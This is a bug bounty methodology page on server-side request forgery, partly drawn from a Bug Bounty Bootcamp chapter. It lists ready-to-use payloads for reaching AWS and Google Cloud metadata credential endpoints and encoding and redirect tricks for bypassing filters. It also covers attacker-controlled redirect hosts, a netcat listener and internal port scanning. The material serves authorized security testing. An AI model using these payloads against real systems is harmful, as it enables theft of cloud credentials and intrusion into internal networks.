====== SSRF Testing ======
Server-Side Request Forgery: trick the server into making requests to internal/cloud resources.
===== Where to Look =====
* Features that take a **URL parameter** -- API consoles, webhooks, developer tools
* Import from URL features
* PDF/screenshot generators
* Anything that fetches a remote resource on your behalf
===== Common Vulnerable Parameters =====
dest, url, uri, path, document, folder, root, pg, style, pdf,
template, php_path, doc, redirect, return, window
===== Targets to Hit =====
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://localhost/
http://127.0.0.1/
http://[::1]/
===== Redirect-Based Bypass =====
Host a PHP redirect server locally and expose via ngrok:
php -S 0.0.0.0:8080
ngrok http 8080
The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to ''http://169.254.169.254/''.
===== Chain with Open Redirects =====
If the target has an open redirect at ''/redirect?goto='', use it as the SSRF payload:
https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/
The server fetches its own open redirect, which bounces to the internal resource.
===== Timing Detection =====
When you can't see the response, use a sleep-redirect to confirm SSRF:
A 10-second delay in the response confirms the server is following redirects to your controlled endpoint.
===== Escalation =====
* AWS metadata IAM credentials = AWS API access
* Internal admin panels via localhost
* Port scanning internal network
* Cloud metadata = pivot into cloud infrastructure
===== See Also =====
* [[zseano:open_redirects|Open Redirects]]
* [[tbhm:04_authorization|TBHM Auth & Session]]
* [[zseano:escalation|Bug Chaining]]
* [[zseano:start|Methodology Index]]
====== BBC Ch 13: Server-Side Request Forgery (SSRF) ======
//Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li//
===== How SSRF Works =====
SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet.
Classic example -- proxy service:
https://public.example.com/proxy?url=https://google.com (intended)
https://public.example.com/proxy?url=https://admin.example.com (SSRF: fetches internal admin panel)
The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it.
**Regular vs Blind SSRF:** regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation.
===== Prevention =====
* **Blocklist** -- reject requests to internal network addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x); most common approach
* **Allowlist** -- only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant
* **Secret headers** -- require internal requests to include a special header or token not accessible to external users
===== Hunting for SSRFs =====
==== Step 1: Spot Prone Features ====
Any feature that causes the server to fetch an external resource is a candidate:
* **Webhooks** -- app configuration pages where you supply a URL for callbacks (Slack event subscriptions, GitHub webhooks, etc.)
* **File upload via URL** -- "upload from URL" or "import from link" features
* **Link expansion / thumbnails** -- automatic preview generation when a URL is pasted
* **Proxy services** -- URL parameters that return external content
* **XML / PDF processing** -- server-side parsers that resolve external entities or fetch resources embedded in documents
* **Hidden API endpoints** -- undocumented endpoints that accept a URL parameter
* **HTML injection in img/iframe src** -- user input inserted into HTML that the server later renders server-side
Record each candidate endpoint:
Webhook: POST /webhook body: url=https://attacker.com
File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg
Proxy: GET /proxy?url=https://google.com
==== Step 2: Submit Internal URLs ====
Replace the URL value with common internal addresses:
localhost
127.0.0.1
0.0.0.0
192.168.0.1
10.0.0.1
169.254.169.254 (AWS instance metadata)
Examples:
POST /webhook
url=https://192.168.0.1
POST /upload_profile_from_url
user_id=1234&url=https://127.0.0.1:22
==== Step 3: Check the Results ====
**Regular SSRF:** look for service banners or internal content in the HTTP response:
Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
A service banner in the error message confirms SSRF.
**Blind SSRF:** use out-of-band detection:
* Start a Netcat listener: ''nc -lp 8080'' and point payloads to your IP:8080
* Use Burp Collaborator (generates unique domain names and monitors for interactions)
* Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable
* Compare response times -- closed ports respond faster (connection refused); firewalled ports respond slower (timeout)
===== Bypassing SSRF Protection =====
==== Bypass Allowlists ====
If the server only allows URLs from a specific domain (e.g., ''pics.example.com''):
**Open redirect chain:** use an open redirect on the allowlisted domain to bounce to an internal address:
url=https://pics.example.com/123?redirect=127.0.0.1
**@-sign trick** (host confused as credentials):
url=https://pics.example.com@127.0.0.1
**Directory trick** (internal IP with allowlisted domain as path):
url=https://127.0.0.1/pics.example.com
==== Bypass Blocklists ====
**Attacker redirect:** make the server request a URL you control that redirects to the blocked internal address:
url=https://attacker.com/ssrf
Serve this PHP on attacker.com:
**IPv6:** blocklists for IPv4 often don't cover IPv6 equivalents:
url=http://[::1] (IPv6 localhost)
url=http://[fc00::] (IPv6 private network)
**Custom DNS:** point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL.
**Encoding variants of 127.0.0.1:**
Hex: https://0x7f.0x0.0x0.0x1
Octal: https://0177.0.0.01
Dword: https://2130706433
URL: https://%6c%6f%63%61%6c%68%6f%73%74 (localhost)
Mixed: https://0177.0.0.0x1
===== Escalating the Attack =====
==== Network and Port Scanning ====
Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network:
url=https://10.0.0.1 -> 200 + Apache banner (host exists)
url=https://10.0.0.2 -> 500 "Connection Failed" (no host)
url=https://10.0.0.1:80 -> 200 (port open)
url=https://10.0.0.1:11 -> 500 (port closed)
Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning.
==== Pull EC2 Instance Metadata ====
If the target runs on AWS, query the metadata endpoint from the SSRF:
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
url=http://169.254.169.254/latest/dynamic/instance-identity/document/
url=http://169.254.169.254/latest/user-data/
These can leak IAM role credentials, S3 access tokens, and private IP addresses.
==== Pull Google Cloud Metadata ====
APIv1 requires special headers (''Metadata-Flavor: Google'') but v1beta1 does not:
url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances.
==== Attack Internal Services ====
* **Bypass access control** -- access internal admin panels only reachable from trusted IPs:
''url=https://admin.example.com''
* **Internal API calls** -- trigger admin-only actions:
''url=https://admin.example.com/delete_user?user=1''
* **Escalate to RCE** -- use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features
===== 8-Step Checklist =====
- Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints.
- Set up a Netcat listener or Burp Collaborator for blind SSRF detection.
- Submit internal addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.169.254) to each candidate endpoint.
- Check regular SSRF responses for service banners or internal page content.
- For blind SSRF: compare status codes and response times across hosts and ports to infer network topology.
- If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants.
- Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls.
- Draft report with curl PoC showing concrete data returned or access achieved.